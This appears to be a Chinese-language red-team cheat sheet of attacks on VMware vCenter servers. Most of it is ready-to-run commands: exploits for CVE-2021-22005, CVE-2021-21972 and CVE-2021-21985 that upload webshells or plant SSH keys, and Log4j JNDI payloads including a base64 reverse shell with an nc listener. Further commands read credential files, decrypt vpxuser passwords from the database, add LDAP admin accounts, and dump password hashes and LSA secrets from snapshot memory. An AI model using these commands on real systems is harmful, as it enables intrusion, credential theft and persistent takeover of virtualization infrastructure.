Life has its own fate, and meeting may not be accidental.

0%

vCenter常用攻击手法

查看版本信息

1
/sdk/vimServiceVersions.xml

0x01 cve-2021-22005

1.1 影响范围:

  • vCenter Server 7.0 < 7.0 U2c build-18356314

  • vCenter Server 6.7 < 6.7 U3o build-18485166

  • Cloud Foundation (vCenter Server) 4.x < KB85718 (4.3)

  • Cloud Foundation (vCenter Server) 3.x < KB85719 (3.10.2.2)

    6.7 vCenters Windows版本不受影响

    1
    python3 .\exp.py -t https://192.168.52.152 -s api_all_jdk.jsp

    image.png
    连接木马,默认路径/storage/db/vmware-vmdir/data.mdb
    image.png

    1.2 vcenter_saml_login

    db数据库存放位置

    1
    数据库存放路径
    2
    Windows vCenter:C:/ProgramData/VMware/vCenterServer/data/vmdird/data.mdb
    3
    Linux vCenter:/storage/db/vmware-vmdir/data.mdb

    拖到本地利用:vcenter_saml_login
    配置cmd代理,利用netch到本地127.0.0.1:1080

    1
    python3 vcenter_saml_login.py -p data.mdb -t 10.118.11.220

    image.png
    修改cookie进行连接
    image.png

0x02 CVE-2021-21972

影响范围

  • vCenter Server7.0 < 7.0.U1c
  • vCenter Server6.7 < 6.7.U3l
  • vCenter Server6.5 < 6.5.U3n
    1
    /ui/vropspluginui/rest/services/uploadova
    访问上面的路径,如果404,则代表不存在漏洞,如果405 则可能存在漏洞。

    2.1 windows机器:

    漏洞利用: https://github.com/horizon3ai/CVE-2021-21972
    1
    python CVE-2021-21972.py -t x.x.x.x -p c:\\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\gsl.jsp -o win -f gsl.jsp
    2
    3
    -t (目标地址)
    4
    -f (上传的文件)
    5
    -p (上传后的webshell路径,默认不用改)
    上传后路径
    1
    https://x.x.x.x/statsreport/gsl.jsp
    2
    C:/ProgramData/VMware/vCenterServer/data/perfcharts/tc-instance/webapps/statsreport
    image.png

    2.2 linux机器

    1、写公私钥(需要22端口开放)
    1
    python3 CVE-2021-21972.py -t 10.16.8.168 -p /home/vsphere-ui/.ssh/authorized_keys -o unix -f c://Users/think/.ssh/id_rsa.pub
    2、遍历写shell(时间较久)
    https://github.com/NS-Sp4ce/CVE-2021-21972
    image.png

    0x03 CVE-2021-21985

    1
    java -cp  JNDI-Injection-Bypass-1.0-SNAPSHOT-all.jar payloads.EvilRMIServer 8.8.8.8
    2
    3
    nc -lvvp 55552
    4
    5
    python3 cve-2021-21985.py https://host rmi://8.8.8.8:1099/Exploit

    0x04 Log4j

    ${jndi:ldap://exp}
    1
    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "cmd /c whoami" -A "172.30.84.134"
    2
    3
    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,base编码内容}|{base64,-d}|{bash,-i}" -A "ip"
    image.png

    0x05 vmware未授权任意文件读取漏洞

    5.1、漏洞影响版本

    已知影响版本 VMware vCenter 6.5.0a-f
    安全版本 VMware vCenter 6.5u1
    1
    #windows
    2
    /eam/vib?id=C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties
    3
    4
    #linux
    5
    /eam/vib?id=/etc/passwd
    image.png

0x06 vCenter低权限账户提权思路

6.1、获取ssh权限后修改密码

1
#Linux 
2
/usr/lib/vmware-vmdir/bin/vdcadmintool 
3
4
#Windows 
5
C:\Program Files\Vmware\vCenter Server\vmdird\vdcadmintool.exe
6
7
8
# 输入3回车
9
# 然后输入用户名(用户名输入错误会提示:VmDirForceResetPassword failed (9106))
10
# 复制生成的新密码(新密码不能自定义,只能工具生成的)
11
==================
12
Please select:
13
0. exit
14
1. Test LDAP connectivity
15
2. Force start replication cycle
16
3. Reset account password
17
4. Set log level and mask
18
5. Set vmdir state
19
6. Get vmdir state
20
7. Get vmdir log level and mask
21
==================

6.2、Vmware数据库配置文件

1
# linux
2
/etc/vmware-vpx/vcdb.properties
3
/etc/vmware/service-state/vpxd/vcdb.properties
4
5
# windows
6
C:\ProgramData\VMware\vCenterServer\cfg\vmware-vps\vcdb.properties

image.png

连接数据库,读取 vpxuser 密钥

1
# linux
2
/opt/vmware/vpostgres/current/bin/psql -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select ip_address,user_name,password from vpx_host;" > password.enc
3
4
#windows
5
C:\Program Files\VMware\vCenter Server\vPostgres\bin\psql.exe -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select ip_address,user_name,password from vpx_host;" > password.enc

6.3、获取symkey.dat文件

1
# linux
2
/etc/vmware-vpx/ssl/symkey.dat
3
4
# windows
5
C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\ssl\symkey.dat

解密 vpxuser 密码

1
python3 decrypt.py symkey.dat password.enc password.txt

6.4、拿到权限后添加账户

添加账户

1
python vCenterLDAP_Manage.py adduser
2
input the new username: 1234admininput the dn: cn=1234admin,cn=Users,dc=vsphere,dc=localinput the userPrincipalName: 1234[email protected]

提升至管理员

1
python vCenterLDAP_Manage.py addadmininput the user dn: cn=1234admin,cn=Users,dc=vsphere,dc=local

0x07后续

7.1、创建快照

image.png
分析快照文件需要.vmem文件作为参数,而.vmem文件通常很大,为了提高效率,这里选择将volatility上传至VMware ESXI,在VMware ESXI上分析快照文件。

volatility下载:【Windows】、【Linux

7.2 volatility利用

7.2.1、通过镜像信息获得系统版本,命令如下
1
.\volatility_2.6_win64_standalone.exe -f xxxx-Snapshot2.vmem imageinfo
7.2.2、读取profile,列出注册表内容
1
.\volatility_2.6_win64_standalone.exe -f xxx-Snapshot2.vmem --profile=xxx hivelist
2
3
## 关注
4
REGISTRY\MACHINE\SYSTEM
5
SystemRoot\System32\Config\SAM
7.2.3、使用hashdump获取hash值
1
.\volatility_2.6_win64_standalone.exe -f xxx-Snapshot2.vmem --profile=xxx hashdump -y 0xfffff8a000024010 -s 0xfffff8a000478010
7.2.4、从注册表读取LSA Secrets
1
.\volatility_2.6_win64_standalone.exe -f xxx-Snapshot2.vmem --profile=xxx lsadump
7.2.5、导出所有域用户hash

参考

https://forum.butian.net/share/1893